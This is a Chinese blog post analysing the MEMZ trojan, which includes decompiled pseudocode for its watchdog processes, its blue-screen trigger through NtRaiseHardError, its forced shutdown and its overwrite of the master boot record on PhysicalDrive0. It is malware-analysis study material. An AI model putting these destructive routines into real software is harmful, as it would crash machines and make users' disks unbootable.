彩虹猫的分析和梳理

彩虹猫分析

现象

image-20211005231951692

image-20211005232037894

image-20211005232056866

image-20211005232235978

image-20211006222820408

image-20211005232309896

image-20211005232332300

image-20211006222505586

  • 自动弹出多个浏览器搜索窗口
  • 鼠标异常晃动
  • 窗口颜色怪异
  • 反复出现系统提示音
  • 出现6个MEMZ进程

image-20211006000846246

image-20211006005748892

发现调用CryptGenRandom函数

查输入表

image-20211006150659774

控制光标

image-20211006151742588

播放声音

image-20211006152449595

打开外部程序

image-20211006152556781

DrawIcon --绘制图标

image-20211006152619672

窗口颜色异常--BitBlt、StretchBlt

image-20211007191218131

调用GetCommandLine和CommandLineToArgv两个函数获取命令行参数,之后进入if判断有无参数:

两个部分:

有参数部分

"/watchdog"

image-20211007191508323

sub_40114A 监测进程有没有减少,进程减少就会蓝屏关机

void sub_40114A()
{
  HANDLE v1; // eax
  HANDLE v2; // edi
  const CHAR *v3; // ebx
  int v4; // esi
  PROCESSENTRY32W pe; // [esp+Ch] [ebp-23Ch]
  LPCSTR lpString1; // [esp+238h] [ebp-10h]
  int v7; // [esp+23Ch] [ebp-Ch]
  LPCSTR lpString2; // [esp+240h] [ebp-8h]
  HANDLE hProcess; // [esp+244h] [ebp-4h]
  int savedregs; // [esp+248h] [ebp+0h]

  v7 = 0;
  lpString1 = (LPCSTR)LocalAlloc(0x40u, 0x200u);// 该函数用于从局部堆中分配内存供程序使用
  v1 = GetCurrentProcess();                     // 获取当前进程的一个伪句柄
  GetProcessImageFileNameA(v1, (LPSTR)lpString1, 0x200u);// 获取进程路径
  Sleep(0x3E8u);
  while ( 1 )//死循环
  {
    v2 = CreateToolhelp32Snapshot(2u, 0);       // 获取进程快照。
    pe.dwSize = 556;
    Process32FirstW(v2, &pe);                   // 获得第一个进程的句柄
    v3 = lpString1;
    v4 = 0;
    do
    {
      hProcess = OpenProcess(0x400u, 0, pe.th32ProcessID);// 用来打开一个已存在的进程对象,并返回进程的句柄
      lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
      GetProcessImageFileNameA(hProcess, (LPSTR)lpString2, 0x200u);
      if ( !lstrcmpA(v3, lpString2) )           // 对比进程路径
        ++v4;                                   // 进程数目
      CloseHandle(hProcess);
      LocalFree((HLOCAL)lpString2);
    }
    while ( Process32NextW(v2, &pe) );
    CloseHandle(v2);
    if ( v4 < v7 )                              // 对比进程数目,v7是最大进程数目
      sub_401021((int)&savedregs);              // 创建线程并导致关机
    v7 = v4;
    Sleep(10u);
  }
}

sub_401021 创建线程并导致蓝屏关机

sub_401021()
{
  v1 = 20;
  do
  {
    CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);// 创建了20个进程
    Sleep(0x64u);
    --v1;
  }
  while ( v1 );
  v2 = v16;
  v16 = a1;
  v9 = v2;
  v3 = LoadLibraryA("ntdll");                   // 将指定的模块加载到调用进程的地址空间中
  v4 = GetProcAddress(v3, "RtlAdjustPrivilege");// 检索指定的动态链接库(DLL)中的输出库函数地址
  v5 = GetProcAddress(v3, "NtRaiseHardError");
    //RtlAdjustPrivilege提权后
    //NtRaiseHardError制造系统蓝屏
  v6 = (void (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v5;
  if ( v4 && v5 )
  {
    ((void (__cdecl *)(signed int, signed int, _DWORD, char *, int, int))v4)(19, 1, 0, (char *)&v15 + 3, v15, v9);
    v6(-1073741790, 0, 0, 0, 6, &v13);
  }
  v7 = GetCurrentProcess();                     // 返回当前线程的虚拟句柄
  OpenProcessToken(v7, 0x28u, &v14);            // 用来打开与进程相关联的访问令牌
  LookupPrivilegeValueW(0, L"SeShutdownPrivilege", (PLUID)&v11);// 查看系统权限的特权值,返回信息到一个LUID结构体里
    //SeShutdownPrivilege关机
  v10 = 1;
  v12 = 2;
  AdjustTokenPrivileges(v14, 0, (PTOKEN_PRIVILEGES)&v10, 0, 0, 0);// 用于启用或禁止,指定访问令牌的特权
  return ExitWindowsEx(6u, 0x10007u);           // 用来退出、重启或注销系统
}

image-20211007204620583

在分析sub_401021时,StartAddress这个函数没有办法进去看。输出窗口有一条报错信息。

image-20211007205654544

到汇编窗口看这个函数存在堆栈不平衡所以没法反汇编,不过可以直接看它用了什么函数和参数

fn 、sub_401A55、dword_402AD0

GetCurrentThreadId、SetWindowsHookExW、UnhookWindowsHookEx

输出线程id、对窗口下钩子、卸载钩子

fn 随机窗口大小,生成窗口

LRESULT __thiscall fn(void *this, int code, WPARAM wParam, LPARAM lParam)
{
  if ( code == 3 )
  {
    v4 = *(_DWORD **)lParam;
    if ( *(_DWORD *)(*(_DWORD *)lParam + 32) & 0x80400000 )
    {
      v5 = sub_401A55((int)this);               // 生成随机数
      v6 = dword_405184 - v4[5];
      v7 = v5 % v6;
      v8 = sub_401A55(v6);
      v9 = dword_405188 - v4[4];
      v4[7] = v7;
      v4[6] = v8 % v9;
    }
  }
  return CallNextHookEx(0, code, wParam, lParam);// 调用下一个钩子
}

sub_401A55 生成随机数

int __fastcall sub_401A55(int a1)
{
  HCRYPTPROV v1; // eax
  BYTE pbBuffer[4]; // [esp+0h] [ebp-4h]

  *(_DWORD *)pbBuffer = a1;
  v1 = hProv;
  if ( !hProv )
  {
    if ( !CryptAcquireContextW(&hProv, (LPCWSTR)hProv, (LPCWSTR)hProv, 1u, 0xF0000040) )
      ExitProcess(1u);
    v1 = hProv;
  }
  CryptGenRandom(v1, 4u, pbBuffer);             // 生成随机数
  return *(_DWORD *)pbBuffer & 0x7FFFFFFF;
}

dword_402AD0=1A

lpText 该参数存放的是一些消息,利用v3获取的随机数从26条消息中取出一条显示出来

image-20211007230559780

sub_401000 msg=16/22时(窗口被关闭)会被强制关机

LRESULT __stdcall sub_401000(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  int savedregs; // [esp+0h] [ebp+0h]
  if ( Msg != 0x10 && Msg != 0x16 )             // 对应WM_CLOSE(当一个窗口或应用程序要关闭时发送一个信号)和WM_ENDSESSION(当系统颜色改变时,发送此消息给所有顶级窗口)
    return DefWindowProcW(hWnd, Msg, wParam, lParam);// 默认窗口处理函数
  sub_401021((int)&savedregs);                  // 创建线程并使蓝屏关机
  return 0;
}

无参数部分

可以看到一开始运行病毒弹的消息窗口的内容

image-20211007233244710

image-20211007233556868

两个弹窗都被确认,使用GetModuleFileNameW获取当前进程的路径,当然由LocalAlloc先申请存路径的空间。然后做5次循环,每次都调用ShellExecuteW,参数v10是刚才得到的样本进程路径,以及字符串"/watchdog",即以“/watchdog”为参数,生成5个MEMZ.exe进程。

此时无参变有参然后程序继续运行

image-20211007234414776

接下来ShellExecute函数生成了,一个参数为main的进程。

main部分

    v2 = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);
// CreateFileA打开文件或I/O设备   //PhysicalDrive0表示本机的物理驱动器0
//首先打开PhysicalDrive0磁盘
    hObject = v2;     
    if ( v2 == (HANDLE)-1 )
    {
      v12 = 2  
    }
    else
    {
      v3 = 0;
      v4 = LocalAlloc(0x40u, 0x10000u);//从堆中分配0x10000个字节
      v5 = v4;
      do
      {
        ++v3;
        *v5 = v5[byte_402118 - v4];//循环303次写入303字节
        ++v5;
      }
      while ( v3 < 303 );
      //MBR的前446字节为启动代码,写入的303字节会覆盖MBR的启动代码部分。
      //此操作直接破坏了MBR,如此一来无法将控制权转交给操作系统,而是执行病毒写入数据
      v6 = 0;
      do
      {
        v4[v6 + 510] = byte_402248[v6];
        //循环1952次写入1952字节,从510偏移处开始向后写入,这次应该是病毒内容
        ++v6;
      }
      while ( v6 < 1952 );
      if ( !WriteFile(v2, v4, 0x10000u, &NumberOfBytesWritten, 0) )
        JUMPOUT(unk_40139D);
      CloseHandle(hObject);

image-20211008000255675

这里前两个字节,0x55AA 是MBR的结束标志,表明这是有效的主引导扇区

然后是向note.txt中写入内容

      v7 = CreateFileA("\\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);
      if ( v7 != (HANDLE)-1
        && WriteFile(
             v7,
             "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n"
             "\r\n"
             "Your computer won't boot up again,\r\n"
             "so use it as long as you can!\r\n"
             "\r\n"
             ":D\r\n"
             "\r\n"
             "Trying to kill MEMZ will cause your system to be\r\n"
             "destroyed instantly, so don't try it :D",
             0xDAu,
             &NumberOfBytesWritten,
             0) )
      {
        CloseHandle(v7);                        // 关闭了一个线程句柄
        ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);// 打开外部程序notepad
        v8 = 0;
        v9 = (DWORD *)&off_405130;              // 存了十个有实际效果的函数
        do
        {
          Sleep(v9[1]);
          CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_401A2B, v9, 0, 0);
            // 调用上面的十个函数
          ++v8;
          v9 += 2;
        }
        while ( v8 < 10 );
        while ( 1 )
          Sleep(10000u);
      }
    }
    ExitProcess(v12);
  }

off_405130 里面存放的函数如下 里面有调用光标有弹web窗口的...

image-20211008005819685

sub_401A2B 实现函数调用

void __stdcall __noreturn sub_401A2B(LPVOID lpThreadParameter)
{
  v1 = 0;
  v2 = 0;
  v3 = 0;
  while ( 1 )
  {
    v4 = v1--;
    if ( !v4 )
      v1 = (*(int (__cdecl **)(int, int))lpThreadParameter)(v2++, v3);
    ++v3;
    Sleep(0xAu);
  }
}

以上就把这个病毒大致梳理了一遍,下面学习它的原理。

posted @ 2021-10-18 22:33  Nicky_啦啦啦是阿落啊  阅读(462)  评论(0编辑  收藏  举报